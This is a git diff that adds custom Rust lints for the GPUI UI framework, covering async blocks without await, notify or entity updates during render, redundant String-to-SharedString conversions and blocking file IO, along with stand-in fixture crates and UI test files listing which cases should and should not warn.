+        if let ExprKind::Yield(_, YieldSource::Await { .. }) = expr.kind {
+            if self.async_depth == 0 {
+                self.found_await = true;
+                return;
+            }
+        }
+
+        let is_nested_async_block = matches!(
+            expr.kind,
+            ExprKind::Closure(Closure {
+                kind: ClosureKind::Coroutine(CoroutineKind::Desugared(
+                    CoroutineDesugaring::Async,
+                    _
+                )),
+                ..
+            })
+        );
+
+        if is_nested_async_block {
+            self.async_depth += 1;
+        }
+
+        walk_expr(self, expr);
+
+        if is_nested_async_block {
+            self.async_depth -= 1;
+        }
+    }
+}
+
+// ===========================================================================
+// Tests
+// ===========================================================================
+
+#[cfg(test)]
+mod tests {
+    use std::path::PathBuf;
+    use std::process::Command;
+
+    /// Build the test-fixture `gpui` crate and return rustc flags that make
+    /// it available to standalone UI test files via `extern crate gpui`.
+    fn gpui_fixture_rustc_flags() -> Vec<String> {
+        let fixture_dir: PathBuf = [env!("CARGO_MANIFEST_DIR"), "test_fixture"]
+            .iter()
+            .collect();
+
+        let status = Command::new("cargo")
+            .args(["build", "--package", "gpui"])
+            .current_dir(&fixture_dir)
+            .status()
+            .expect("failed to run cargo build for gpui fixture");
+        assert!(status.success(), "gpui fixture build failed");
+
+        let rlib: PathBuf = fixture_dir.join("target/debug/libgpui.rlib");
+        let deps: PathBuf = fixture_dir.join("target/debug/deps");
+
+        vec![
+            "--edition=2021".to_string(),
+            format!("--extern=gpui={}", rlib.display()),
+            format!("-Ldependency={}", deps.display()),
+        ]
+    }
+
+    #[test]
+    fn ui() {
+        let flags = gpui_fixture_rustc_flags();
+        dylint_testing::ui::Test::src_base(env!("CARGO_PKG_NAME"), "ui")
+            .rustc_flags(flags)
+            .run();
+    }
+
+    #[test]
+    fn ui_shared_string() {
+        dylint_testing::ui_test_examples(env!("CARGO_PKG_NAME"));
+    }
+}
diff --git a/tooling/lints/src/notify_in_render.rs b/tooling/lints/src/notify_in_render.rs
new file mode 100644
index 00000000000000..edc5fb26f4d230
--- /dev/null
+++ b/tooling/lints/src/notify_in_render.rs
@@ -0,0 +1,58 @@
+use clippy_utils::diagnostics::span_lint;
+use rustc_hir::{Expr, ExprKind};
+use rustc_lint::{LateContext, LateLintPass};
+
+use crate::render_helpers::{is_directly_in_render_method, is_gpui_context};
+
+rustc_session::declare_lint! {
+    /// ### What it does
+    ///
+    /// Flags calls to `Context::notify()` that execute synchronously inside a
+    /// `Render::render` method.
+    ///
+    /// ### Why is this bad?
+    ///
+    /// `notify()` tells the framework that the entity's state has changed and
+    /// it should be re-rendered. Calling it during render means every render
+    /// pass schedules another render pass — either an infinite loop or wasted
+    /// work.
+    pub NOTIFY_IN_RENDER,
+    Warn,
+    "calling `cx.notify()` during render schedules a redundant re-render"
+}
+
+pub(crate) struct NotifyInRender;
+
+rustc_session::impl_lint_pass!(NotifyInRender => [NOTIFY_IN_RENDER]);
+
+impl<'tcx> LateLintPass<'tcx> for NotifyInRender {
+    fn check_expr(&mut self, cx: &LateContext<'tcx>, expr: &'tcx Expr<'tcx>) {
+        if expr.span.from_expansion() {
+            return;
+        }
+
+        let ExprKind::MethodCall(segment, receiver, _args, _span) = &expr.kind else {
+            return;
+        };
+
+        if segment.ident.name.as_str() != "notify" {
+            return;
+        }
+
+        let receiver_ty = cx.typeck_results().expr_ty(receiver);
+        if !is_gpui_context(cx, receiver_ty) {
+            return;
+        }
+
+        if !is_directly_in_render_method(cx, expr.hir_id) {
+            return;
+        }
+
+        span_lint(
+            cx,
+            NOTIFY_IN_RENDER,
+            expr.span,
+            "`cx.notify()` called during render schedules a re-render every render pass",
+        );
+    }
+}
diff --git a/tooling/lints/src/owned_string_into_shared.rs b/tooling/lints/src/owned_string_into_shared.rs
new file mode 100644
index 00000000000000..a47f2f434326a3
--- /dev/null
+++ b/tooling/lints/src/owned_string_into_shared.rs
@@ -0,0 +1,171 @@
+use clippy_utils::diagnostics::span_lint;
+use rustc_ast::ast::LitKind;
+use rustc_hir::def::{DefKind, Res};
+use rustc_hir::{Expr, ExprKind};
+use rustc_lint::{LateContext, LateLintPass};
+use rustc_middle::ty::Ty;
+
+rustc_session::declare_lint! {
+    /// ### What it does
+    ///
+    /// Flags expressions that build an owned `String` from a string literal
+    /// and then immediately convert it with `.into()` into one of the
+    /// refcounted/shared string types: `gpui::SharedString`, `Arc<str>`,
+    /// `Rc<str>`, or `Cow<'_, str>`.
+    ///
+    /// The flagged shapes are:
+    ///
+    /// ```ignore
+    /// let label: SharedString = String::from("foo").into();
+    /// let key:   Arc<str>     = "foo".to_string().into();
+    /// let value: Rc<str>      = "foo".to_owned().into();
+    /// ```
+    ///
+    /// ### Why is this bad?
+    ///
+    /// Two heap allocations and two copies of the literal happen where one is
+    /// enough: `String::from` (or `to_string`/`to_owned`) allocates a `String`
+    /// and copies the bytes; the `.into()` conversion into the refcounted
+    /// destination then allocates an `Arc<str>`-like buffer and copies the
+    /// bytes a second time. For string literals the destination can be built
+    /// directly from `'static` data with no allocation at all.
+    pub OWNED_STRING_INTO_SHARED,
+    Warn,
+    "an owned `String` is built from a string literal only to be converted into a refcounted string"
+}
+
+pub(crate) struct OwnedStringIntoShared;
+
+rustc_session::impl_lint_pass!(OwnedStringIntoShared => [OWNED_STRING_INTO_SHARED]);
+
+impl<'tcx> LateLintPass<'tcx> for OwnedStringIntoShared {
+    fn check_expr(&mut self, cx: &LateContext<'tcx>, expr: &'tcx Expr<'tcx>) {
+        if expr.span.from_expansion() {
+            return;
+        }
+
+        let ExprKind::MethodCall(segment, receiver, [], _) = &expr.kind else {
+            return;
+        };
+        if segment.ident.name.as_str() != "into" {
+            return;
+        }
+
+        let dest_ty = cx.typeck_results().expr_ty(expr);
+        if !is_refcounted_string_destination(cx, dest_ty) {
+            return;
+        }
+
+        // The receiver must produce an owned `String`. Confirming this rules
+        // out custom `into` impls on unrelated types that just happen to look
+        // similar.
+        let receiver_ty = cx.typeck_results().expr_ty(receiver);
+        if !is_std_string(cx, receiver_ty) {
+            return;
+        }
+
+        if !is_owned_string_built_from_literal(cx, receiver) {
+            return;
+        }
+
+        span_lint(
+            cx,
+            OWNED_STRING_INTO_SHARED,
+            expr.span,
+            "this allocates an owned `String` from a string literal only to convert it into a refcounted string",
+        );
+    }
+}
+
+/// Returns `true` when `ty` is one of the refcounted/shared string types this
+/// lint targets: `gpui::SharedString`, `Arc<str>`, `Rc<str>`, or
+/// `Cow<'_, str>`.
+fn is_refcounted_string_destination<'tcx>(cx: &LateContext<'tcx>, ty: Ty<'tcx>) -> bool {
+    let Some(adt) = ty.ty_adt_def() else {
+        return false;
+    };
+    let did = adt.did();
+
+    if cx.tcx.crate_name(did.krate).as_str() == "gpui_shared_string"
+        && cx.tcx.item_name(did).as_str() == "SharedString"
+    {
+        return true;
+    }
+
+    let path = cx.tcx.def_path_str(did);
+    let is_str_wrapper = matches!(
+        path.as_str(),
+        "alloc::sync::Arc"
+            | "std::sync::Arc"
+            | "alloc::rc::Rc"
+            | "std::rc::Rc"
+            | "alloc::borrow::Cow"
+            | "std::borrow::Cow"
+    );
+    if !is_str_wrapper {
+        return false;
+    }
+
+    let rustc_middle::ty::TyKind::Adt(_, args) = ty.kind() else {
+        return false;
+    };
+    args.iter()
+        .find_map(|arg| arg.as_type())
+        .is_some_and(|inner| inner.is_str())
+}
+
+/// Returns `true` when `ty` is `alloc::string::String`.
+fn is_std_string(cx: &LateContext<'_>, ty: Ty<'_>) -> bool {
+    let Some(adt) = ty.ty_adt_def() else {
+        return false;
+    };
+    let path = cx.tcx.def_path_str(adt.did());
+    path == "alloc::string::String" || path == "std::string::String"
+}
+
+/// Returns `true` if `expr` matches one of:
+///
+/// * `String::from(<string literal>)`
+/// * `<string literal>.to_string()`
+/// * `<string literal>.to_owned()`
+fn is_owned_string_built_from_literal<'tcx>(
+    cx: &LateContext<'tcx>,
+    expr: &'tcx Expr<'tcx>,
+) -> bool {
+    match &expr.kind {
+        ExprKind::Call(func, [arg]) => {
+            let ExprKind::Path(qpath) = &func.kind else {
+                return false;
+            };
+            let Res::Def(DefKind::Fn | DefKind::AssocFn, def_id) = cx.qpath_res(qpath, func.hir_id)
+            else {
+                return false;
+            };
+            if cx.tcx.item_name(def_id).as_str() != "from" {
+                return false;
+            }
+            is_string_literal(arg)
+        }
+        ExprKind::MethodCall(segment, receiver, [], _) => {
+            let name = segment.ident.name.as_str();
+            if name != "to_string" && name != "to_owned" {
+                return false;
+            }
+            is_string_literal(receiver)
+        }
+        _ => false,
+    }
+}
+
+/// Returns `true` if `expr` is a string-literal expression, optionally wrapped
+/// in a single layer of reference (`&"lit"`).
+fn is_string_literal<'tcx>(expr: &'tcx Expr<'tcx>) -> bool {
+    let inner = match &expr.kind {
+        ExprKind::AddrOf(_, _, inner) => *inner,
+        _ => expr,
+    };
+    matches!(
+        &inner.kind,
+        ExprKind::Lit(lit) if matches!(lit.node, LitKind::Str(..))
+    )
+}
diff --git a/tooling/lints/src/render_helpers.rs b/tooling/lints/src/render_helpers.rs
new file mode 100644
index 00000000000000..f85adacc0ccbd4
--- /dev/null
+++ b/tooling/lints/src/render_helpers.rs
@@ -0,0 +1,98 @@
+use rustc_hir::def_id::DefId;
+use rustc_hir::{ExprKind, HirId, Node};
+use rustc_lint::LateContext;
+use rustc_middle::ty::Ty;
+
+/// Returns `true` when `hir_id` sits directly inside a `fn render` that
+/// implements `gpui::Render` or `gpui::RenderOnce`, without an intervening
+/// closure. If a closure sits between `hir_id` and the `render` method, the
+/// expression executes later (e.g. in an event handler) and is not flagged.
+pub(crate) fn is_directly_in_render_method(cx: &LateContext<'_>, hir_id: HirId) -> bool {
+    for (parent_id, node) in cx.tcx.hir_parent_iter(hir_id) {
+        match node {
+            Node::Expr(expr) if matches!(expr.kind, ExprKind::Closure(_)) => {
+                return false;
+            }
+            Node::ImplItem(impl_item) if impl_item.ident.name.as_str() == "render" => {
+                return is_render_trait_impl(cx, parent_id);
+            }
+            _ => {}
+        }
+    }
+    false
+}
+
+/// Returns `true` when the `impl` block that owns `impl_item_hir_id` is an
+/// implementation of `gpui::Render` or `gpui::RenderOnce`.
+fn is_render_trait_impl(cx: &LateContext<'_>, impl_item_hir_id: HirId) -> bool {
+    let parent_owner = cx.tcx.hir_get_parent_item(impl_item_hir_id);
+    let node = cx.tcx.hir_node(parent_owner.into());
+    if let Node::Item(item) = node {
+        if let rustc_hir::ItemKind::Impl(impl_block) = &item.kind {
+            if let Some(trait_ref) = &impl_block.of_trait {
+                if let rustc_hir::def::Res::Def(_, trait_def_id) = trait_ref.trait_ref.path.res {
+                    return is_gpui_render_trait(cx, trait_def_id);
+                }
+            }
+        }
+    }
+    false
+}
+
+fn is_gpui_render_trait(cx: &LateContext<'_>, trait_def_id: DefId) -> bool {
+    let crate_name = cx.tcx.crate_name(trait_def_id.krate);
+    if crate_name.as_str() != "gpui" {
+        return false;
+    }
+    let name = cx.tcx.item_name(trait_def_id);
+    name.as_str() == "Render" || name.as_str() == "RenderOnce"
+}
+
+/// Returns `true` when `ty` is `gpui::Entity<T>` or `gpui::WeakEntity<T>`.
+pub(crate) fn is_gpui_entity_or_weak(cx: &LateContext<'_>, ty: Ty<'_>) -> bool {
+    let peeled = ty.peel_refs();
+    let Some(adt) = peeled.ty_adt_def() else {
+        return false;
+    };
+    let did = adt.did();
+    let crate_name = cx.tcx.crate_name(did.krate);
+    if crate_name.as_str() != "gpui" {
+        return false;
+    }
+    let name = cx.tcx.item_name(did);
+    name.as_str() == "Entity" || name.as_str() == "WeakEntity"
+}
+
+/// Returns `true` when `ty` is `gpui::Context<T>`.
+pub(crate) fn is_gpui_context(cx: &LateContext<'_>, ty: Ty<'_>) -> bool {
+    let peeled = ty.peel_refs();
+    let Some(adt) = peeled.ty_adt_def() else {
+        return false;
+    };
+    let did = adt.did();
+    let crate_name = cx.tcx.crate_name(did.krate);
+    if crate_name.as_str() != "gpui" {
+        return false;
+    }
+    cx.tcx.item_name(did).as_str() == "Context"
+}
+
+/// Returns `true` when the expression type indicates a unit-returning update
+/// call — either `()` (from `Entity::update`) or `Result<(), _>` (from
+/// `WeakEntity::update`).
+pub(crate) fn is_unit_or_result_unit(cx: &LateContext<'_>, ty: Ty<'_>) -> bool {
+    if ty.is_unit() {
+        return true;
+    }
+    if let Some(adt) = ty.ty_adt_def() {
+        let path = cx.tcx.def_path_str(adt.did());
+        if path == "core::result::Result" || path == "std::result::Result" {
+            if let Some(substs) = ty.walk().nth(1) {
+                if let Some(inner_ty) = substs.as_type() {
+                    return inner_ty.is_unit();
+                }
+            }
+        }
+    }
+    false
+}
diff --git a/tooling/lints/test_fixture/Cargo.toml b/tooling/lints/test_fixture/Cargo.toml
new file mode 100644
index 00000000000000..a07c992855ce89
--- /dev/null
+++ b/tooling/lints/test_fixture/Cargo.toml
@@ -0,0 +1,6 @@
+[workspace]
+resolver = "2"
+members = ["gpui", "gpui_shared_string", "consumer", "render_consumer"]
+
+[workspace.metadata.dylint]
+libraries = [{ path = ".." }]
diff --git a/tooling/lints/test_fixture/consumer/Cargo.toml b/tooling/lints/test_fixture/consumer/Cargo.toml
new file mode 100644
index 00000000000000..dd822953c2c5f9
--- /dev/null
+++ b/tooling/lints/test_fixture/consumer/Cargo.toml
@@ -0,0 +1,11 @@
+[package]
+name = "consumer"
+version = "0.0.0"
+edition = "2021"
+publish = false
+
+[lib]
+path = "src/lib.rs"
+
+[dependencies]
+gpui_shared_string = { path = "../gpui_shared_string" }
diff --git a/tooling/lints/test_fixture/consumer/src/lib.rs b/tooling/lints/test_fixture/consumer/src/lib.rs
new file mode 100644
index 00000000000000..6b5d905664c33d
--- /dev/null
+++ b/tooling/lints/test_fixture/consumer/src/lib.rs
@@ -0,0 +1,63 @@
+use gpui_shared_string::SharedString;
+
+// Should fire: `from` with a short literal (≤ 23 bytes).
+pub fn from_short() -> SharedString {
+    SharedString::from("Favorites")
+}
+
+// Should fire at elevated severity: `from` with a long literal (> 23 bytes).
+pub fn from_long() -> SharedString {
+    SharedString::from("Right-click for more options")
+}
+
+// Should fire: explicit `.into()` from a string literal.
+pub fn into_short() -> SharedString {
+    "hello".into()
+}
+
+// Should fire: `SharedString::new("...")`.
+pub fn new_short() -> SharedString {
+    SharedString::new("hi")
+}
+
+// Should NOT fire: the zero-cost constructor.
+pub fn new_static_short() -> SharedString {
+    SharedString::new_static("Favorites")
+}
+
+// Should NOT fire: non-literal input.
+pub fn from_variable(s: &str) -> SharedString {
+    SharedString::from(s)
+}
+
+// Should NOT fire: `.into()` on a non-literal.
+pub fn into_variable(s: &str) -> SharedString {
+    s.into()
+}
+
+// Should fire: `.into()` on a string literal that exceeds the 23-byte cap.
+pub fn into_long() -> SharedString {
+    "this literal is definitely longer than twenty three bytes".into()
+}
+
+// ---- owned_string_into_shared cases targeting `SharedString` ----
+
+// Should fire (owned_string_into_shared): `String::from(<lit>).into()`.
+pub fn shared_string_from_string_from() -> SharedString {
+    String::from("label").into()
+}
+
+// Should fire (owned_string_into_shared): `<lit>.to_string().into()`.
+pub fn shared_string_from_to_string() -> SharedString {
+    "label".to_string().into()
+}
+
+// Should fire (owned_string_into_shared): `<lit>.to_owned().into()`.
+pub fn shared_string_from_to_owned() -> SharedString {
+    "label".to_owned().into()
+}
+
+// Should NOT fire owned_string_into_shared: the source is a non-literal `String`.
+pub fn shared_string_from_dynamic_string(s: String) -> SharedString {
+    s.into()
+}
diff --git a/tooling/lints/test_fixture/gpui/Cargo.toml b/tooling/lints/test_fixture/gpui/Cargo.toml
new file mode 100644
index 00000000000000..5d01d4268089b9
--- /dev/null
+++ b/tooling/lints/test_fixture/gpui/Cargo.toml
@@ -0,0 +1,8 @@
+[package]
+name = "gpui"
+version = "0.0.0"
+edition = "2021"
+publish = false
+
+[lib]
+path = "src/lib.rs"
diff --git a/tooling/lints/test_fixture/gpui/src/lib.rs b/tooling/lints/test_fixture/gpui/src/lib.rs
new file mode 100644
index 00000000000000..7d863fbe83655e
--- /dev/null
+++ b/tooling/lints/test_fixture/gpui/src/lib.rs
@@ -0,0 +1,100 @@
+//! Minimal stand-in for the real `gpui` crate. The lints key off the crate
+//! name and the type names, so we only need to reproduce the relevant API
+//! surface.
+
+use std::marker::PhantomData;
+
+// --- AppContext ---
+
+pub trait AppContext {
+    fn as_app_mut(&mut self) -> &mut App;
+}
+
+// --- App ---
+
+pub struct App;
+
+impl AppContext for App {
+    fn as_app_mut(&mut self) -> &mut App {
+        self
+    }
+}
+
+// --- Context ---
+
+pub struct Context<'a, T> {
+    _marker: PhantomData<&'a mut T>,
+}
+
+impl<T> AppContext for Context<'_, T> {
+    fn as_app_mut(&mut self) -> &mut App {
+        unimplemented!()
+    }
+}
+
+impl<T> Context<'_, T> {
+    pub fn notify(&mut self) {}
+}
+
+// --- Window ---
+
+pub struct Window;
+
+// --- Entity ---
+
+pub struct Entity<T> {
+    _marker: PhantomData<T>,
+}
+
+impl<T> Entity<T> {
+    pub fn update<R, C: AppContext>(
+        &self,
+        _cx: &mut C,
+        _f: impl FnOnce(&mut T, &mut Context<T>) -> R,
+    ) -> R {
+        unimplemented!()
+    }
+
+    pub fn read<'a>(&self, _cx: &'a App) -> &'a T {
+        unimplemented!()
+    }
+
+    pub fn read_with<R>(&self, _cx: &App, _f: impl FnOnce(&T, &App) -> R) -> R {
+        unimplemented!()
+    }
+
+    pub fn downgrade(&self) -> WeakEntity<T> {
+        unimplemented!()
+    }
+}
+
+// --- WeakEntity ---
+
+pub struct WeakEntity<T> {
+    _marker: PhantomData<T>,
+}
+
+impl<T> WeakEntity<T> {
+    pub fn update<R, C: AppContext>(
+        &self,
+        _cx: &mut C,
+        _f: impl FnOnce(&mut T, &mut Context<T>) -> R,
+    ) -> Result<R, ()> {
+        unimplemented!()
+    }
+}
+
+// --- Render traits ---
+
+pub trait IntoElement {}
+
+pub trait Render: 'static + Sized {
+    fn render(&mut self, window: &mut Window, cx: &mut Context<Self>) -> impl IntoElement;
+}
+
+pub trait RenderOnce: 'static {
+    fn render(self, window: &mut Window, cx: &mut App) -> impl IntoElement;
+}
+
+impl IntoElement for () {}
+impl IntoElement for &str {}
diff --git a/tooling/lints/test_fixture/gpui_shared_string/Cargo.toml b/tooling/lints/test_fixture/gpui_shared_string/Cargo.toml
new file mode 100644
index 00000000000000..4bb3411b825b11
--- /dev/null
+++ b/tooling/lints/test_fixture/gpui_shared_string/Cargo.toml
@@ -0,0 +1,8 @@
+[package]
+name = "gpui_shared_string"
+version = "0.0.0"
+edition = "2021"
+publish = false
+
+[lib]
+path = "src/lib.rs"
diff --git a/tooling/lints/test_fixture/gpui_shared_string/src/lib.rs b/tooling/lints/test_fixture/gpui_shared_string/src/lib.rs
new file mode 100644
index 00000000000000..bce372c06eec52
--- /dev/null
+++ b/tooling/lints/test_fixture/gpui_shared_string/src/lib.rs
@@ -0,0 +1,31 @@
+//! Minimal stand-in for the real `gpui_shared_string` crate. The lint keys
+//! off the crate name and the type name `SharedString`, so we only need to
+//! reproduce those.
+
+#[derive(Clone)]
+pub struct SharedString(String);
+
+impl SharedString {
+    pub const fn new_static(s: &'static str) -> Self {
+        // The real implementation stores the `'static` pointer; we just wrap
+        // an empty String at compile time to keep this `const`.
+        let _ = s;
+        SharedString(String::new())
+    }
+
+    pub fn new(s: impl AsRef<str>) -> Self {
+        SharedString(s.as_ref().to_owned())
+    }
+}
+
+impl From<&str> for SharedString {
+    fn from(s: &str) -> Self {
+        SharedString(s.to_owned())
+    }
+}
+
+impl From<String> for SharedString {
+    fn from(s: String) -> Self {
+        SharedString(s)
+    }
+}
diff --git a/tooling/lints/test_fixture/render_consumer/Cargo.toml b/tooling/lints/test_fixture/render_consumer/Cargo.toml
new file mode 100644
index 00000000000000..25a93028de26a4
--- /dev/null
+++ b/tooling/lints/test_fixture/render_consumer/Cargo.toml
@@ -0,0 +1,11 @@
+[package]
+name = "render_consumer"
+version = "0.0.0"
+edition = "2021"
+publish = false
+
+[lib]
+path = "src/lib.rs"
+
+[dependencies]
+gpui = { path = "../gpui" }
diff --git a/tooling/lints/test_fixture/render_consumer/src/lib.rs b/tooling/lints/test_fixture/render_consumer/src/lib.rs
new file mode 100644
index 00000000000000..e578844dcdb7da
--- /dev/null
+++ b/tooling/lints/test_fixture/render_consumer/src/lib.rs
@@ -0,0 +1,154 @@
+#![allow(unused, dead_code)]
+
+use gpui::*;
+
+// ============================================================
+// Helper types for tests
+// ============================================================
+
+struct Editor;
+
+impl Editor {
+    fn set_text(&mut self, _text: &str) {}
+    fn text(&self) -> String {
+        String::new()
+    }
+}
+
+struct Counter {
+    count: u32,
+    editor: Entity<Editor>,
+}
+
+struct CounterOnce {
+    editor: Entity<Editor>,
+    weak_editor: WeakEntity<Editor>,
+}
+
+// ============================================================
+// entity_update_in_render — SHOULD WARN
+// ============================================================
+
+// Entity::update with unit-returning closure in Render::render
+impl Render for Counter {
+    fn render(&mut self, _window: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
+        self.editor.update(cx, |editor, _cx| {
+            editor.set_text("hello");
+        });
+        ()
+    }
+}
+
+// Entity::update with unit-returning closure in RenderOnce::render
+impl RenderOnce for CounterOnce {
+    fn render(self, _window: &mut Window, cx: &mut App) -> impl IntoElement {
+        self.editor.update(cx, |editor, _cx| {
+            editor.set_text("hello");
+        });
+        ()
+    }
+}
+
+// WeakEntity::update with unit-returning closure in RenderOnce::render
+struct WeakUpdater {
+    weak_editor: WeakEntity<Editor>,
+}
+
+impl RenderOnce for WeakUpdater {
+    fn render(self, _window: &mut Window, cx: &mut App) -> impl IntoElement {
+        let _ = self.weak_editor.update(cx, |editor, _cx| {
+            editor.set_text("world");
+        });
+        ()
+    }
+}
+
+// ============================================================
+// entity_update_in_render — SHOULD NOT WARN
+// ============================================================
+
+// Entity::update with value-returning closure (reading, not mutating)
+struct ReaderView {
+    editor: Entity<Editor>,
+}
+
+impl RenderOnce for ReaderView {
+    fn render(self, _window: &mut Window, cx: &mut App) -> impl IntoElement {
+        let _text = self.editor.update(cx, |editor, _cx| editor.text());
+        ()
+    }
+}
+
+// Entity::update outside render entirely
+fn update_outside_render(editor: &Entity<Editor>, cx: &mut App) {
+    editor.update(cx, |editor, _cx| {
+        editor.set_text("fine here");
+    });
+}
+
+// Entity::read in render (not update)
+struct ReadOnlyView {
+    editor: Entity<Editor>,
+}
+
+impl RenderOnce for ReadOnlyView {
+    fn render(self, _window: &mut Window, cx: &mut App) -> impl IntoElement {
+        let _editor = self.editor.read(cx);
+        ()
+    }
+}
+
+// Entity::update inside a closure in render (simulating an event handler
+// that executes later, not during render itself)
+struct ClosureView {
+    editor: Entity<Editor>,
+}
+
+impl RenderOnce for ClosureView {
+    fn render(self, _window: &mut Window, cx: &mut App) -> impl IntoElement {
+        let editor = self.editor;
+        let _handler = move |cx: &mut App| {
+            editor.update(cx, |editor, _cx| {
+                editor.set_text("inside closure");
+            });
+        };
+        ()
+    }
+}
+
+// ============================================================
+// notify_in_render — SHOULD WARN
+// ============================================================
+
+struct NotifyView {
+    count: u32,
+}
+
+impl Render for NotifyView {
+    fn render(&mut self, _window: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
+        self.count += 1;
+        cx.notify();
+        ()
+    }
+}
+
+// ============================================================
+// notify_in_render — SHOULD NOT WARN
+// ============================================================
+
+// notify outside render
+fn notify_outside_render<T>(cx: &mut Context<'_, T>) {
+    cx.notify();
+}
+
+// notify inside a closure in render (event handler — runs later)
+struct NotifyClosureView;
+
+impl Render for NotifyClosureView {
+    fn render(&mut self, _window: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
+        let _handler = |cx: &mut Context<'_, Self>| {
+            cx.notify();
+        };
+        ()
+    }
+}
diff --git a/tooling/lints/ui/async_block_without_await.rs b/tooling/lints/ui/async_block_without_await.rs
new file mode 100644
index 00000000000000..f95de0aa1f93f0
--- /dev/null
+++ b/tooling/lints/ui/async_block_without_await.rs
@@ -0,0 +1,79 @@
+// Tests for the `async_block_without_await` lint.
+
+#![allow(unused)]
+
+async fn returns_42() -> i32 {
+    42
+}
+
+fn sync_fn() -> i32 {
+    42
+}
+
+fn main() {
+    // --- Should warn ---
+
+    // Empty async block.
+    let _f = async {};
+
+    // Async block with a pure expression.
+    let _f = async { 42 };
+
+    // Async move block without await.
+    let _f = async move {
+        let x = 1;
+        x + 2
+    };
+
+    // Async block calling a sync function.
+    let _f = async { sync_fn() };
+
+    // Nested: the *inner* async block has no await (should warn on it).
+    // The outer block awaits the inner future, so the outer is fine.
+    let _f = async {
+        let inner = async { 42 };
+        inner.await
+    };
+
+    // --- Should NOT warn ---
+
+    // Async block with an await.
+    let _f = async { returns_42().await };
+
+    // Async block with await in a let binding.
+    let _f = async {
+        let x = returns_42().await;
+        x + 1
+    };
+
+    // Async move block with await.
+    let _f = async move { returns_42().await };
+
+    // Regular closure (not async at all).
+    let _f = || 42;
+}
+
+// --- Trait impl cases ---
+
+use std::future::Future;
+
+trait AsyncWork {
+    fn do_work(&self) -> impl Future<Output = i32>;
+}
+
+struct Worker;
+
+// Should NOT warn: the trait requires returning a future, so the
+// implementor has no choice but to use `async { ... }`.
+impl AsyncWork for Worker {
+    fn do_work(&self) -> impl Future<Output = i32> {
+        async { 42 }
+    }
+}
+
+// Should warn: inherent impl — the author chose `async` freely.
+impl Worker {
+    fn compute(&self) -> impl Future<Output = i32> {
+        async { 42 }
+    }
+}
diff --git a/tooling/lints/ui/async_block_without_await.stderr b/tooling/lints/ui/async_block_without_await.stderr
new file mode 100644
index 00000000000000..e5f5197af5eb80
--- /dev/null
+++ b/tooling/lints/ui/async_block_without_await.stderr
@@ -0,0 +1,56 @@
+error: this `async` block contains no `.await`
+  --> $DIR/async_block_without_await.rs:17:14
+   |
+LL |     let _f = async {};
+   |              ^^^^^^^^
+   |
+   = help: consider removing the `async` block or adding the missing `.await`
+   = note: `-D async-block-without-await` implied by `-D warnings`
+   = help: to override `-D warnings` add `#[allow(async_block_without_await)]`
+
+error: this `async` block contains no `.await`
+  --> $DIR/async_block_without_await.rs:20:14
+   |
+LL |     let _f = async { 42 };
+   |              ^^^^^^^^^^^^
+   |
+   = help: consider removing the `async` block or adding the missing `.await`
+
+error: this `async` block contains no `.await`
+  --> $DIR/async_block_without_await.rs:23:14
+   |
+LL |       let _f = async move {
+   |  ______________^
+LL | |         let x = 1;
+LL | |         x + 2
+LL | |     };
+   | |_____^
+   |
+   = help: consider removing the `async` block or adding the missing `.await`
+
+error: this `async` block contains no `.await`
+  --> $DIR/async_block_without_await.rs:29:14
+   |
+LL |     let _f = async { sync_fn() };
+   |              ^^^^^^^^^^^^^^^^^^^
+   |
+   = help: consider removing the `async` block or adding the missing `.await`
+
+error: this `async` block contains no `.await`
+  --> $DIR/async_block_without_await.rs:34:21
+   |
+LL |         let inner = async { 42 };
+   |                     ^^^^^^^^^^^^
+   |
+   = help: consider removing the `async` block or adding the missing `.await`
+
+error: this `async` block contains no `.await`
+  --> $DIR/async_block_without_await.rs:77:9
+   |
+LL |         async { 42 }
+   |         ^^^^^^^^^^^^
+   |
+   = help: consider removing the `async` block or adding the missing `.await`
+
+error: aborting due to 6 previous errors
+
diff --git a/tooling/lints/ui/blocking_io_on_foreground.rs b/tooling/lints/ui/blocking_io_on_foreground.rs
new file mode 100644
index 00000000000000..f645bebbadca70
--- /dev/null
+++ b/tooling/lints/ui/blocking_io_on_foreground.rs
@@ -0,0 +1,324 @@
+// Tests for the `blocking_io_on_foreground` lint.
+
+#![allow(unused, let_underscore_lock)]
+
+extern crate gpui;
+
+use gpui::*;
+
+struct Editor;
+
+// ============================================================
+// SHOULD WARN — blocking IO in functions with GPUI context params
+// ============================================================
+
+// --- std::fs free functions ---
+
+fn read_config_with_app(cx: &mut App) {
+    let _ = std::fs::read_to_string("config.toml");
+}
+
+fn write_file_with_app(cx: &App) {
+    let _ = std::fs::write("out.txt", b"data");
+}
+
+fn read_with_window(window: &mut Window, cx: &mut App) {
+    let _ = std::fs::read("data.bin");
+}
+
+fn metadata_with_app(cx: &mut App) {
+    let _ = std::fs::metadata("file.txt");
+}
+
+fn create_dir_with_app(cx: &mut App) {
+    let _ = std::fs::create_dir_all("some/path");
+}
+
+fn remove_file_with_app(cx: &mut App) {
+    let _ = std::fs::remove_file("old.txt");
+}
+
+fn canonicalize_with_app(cx: &mut App) {
+    let _ = std::fs::canonicalize("./relative");
+}
+
+fn read_dir_with_app(cx: &mut App) {
+    let _ = std::fs::read_dir("some/dir");
+}
+
+fn read_link_with_app(cx: &mut App) {
+    let _ = std::fs::read_link("some/link");
+}
+
+fn symlink_metadata_with_app(cx: &mut App) {
+    let _ = std::fs::symlink_metadata("file.txt");
+}
+
+fn set_permissions_with_app(cx: &mut App) {
+    if let Ok(meta) = std::fs::metadata("file.txt") {
+        let _ = std::fs::set_permissions("file.txt", meta.permissions());
+    }
+}
+
+fn copy_with_app(cx: &mut App) {
+    let _ = std::fs::copy("a.txt", "b.txt");
+}
+
+fn rename_with_app(cx: &mut App) {
+    let _ = std::fs::rename("old.txt", "new.txt");
+}
+
+fn hard_link_with_app(cx: &mut App) {
+    let _ = std::fs::hard_link("original", "link");
+}
+
+fn create_dir_with_app_single(cx: &mut App) {
+    let _ = std::fs::create_dir("one_dir");
+}
+
+fn remove_dir_with_app(cx: &mut App) {
+    let _ = std::fs::remove_dir("empty_dir");
+}
+
+fn remove_dir_all_with_app(cx: &mut App) {
+    let _ = std::fs::remove_dir_all("dir_tree");
+}
+
+// --- std::fs::File associated functions ---
+
+fn file_open_with_app(cx: &mut App) {
+    let _ = std::fs::File::open("data.bin");
+}
+
+fn file_create_with_app(cx: &mut App) {
+    let _ = std::fs::File::create("out.bin");
+}
+
+fn file_create_new_with_app(cx: &mut App) {
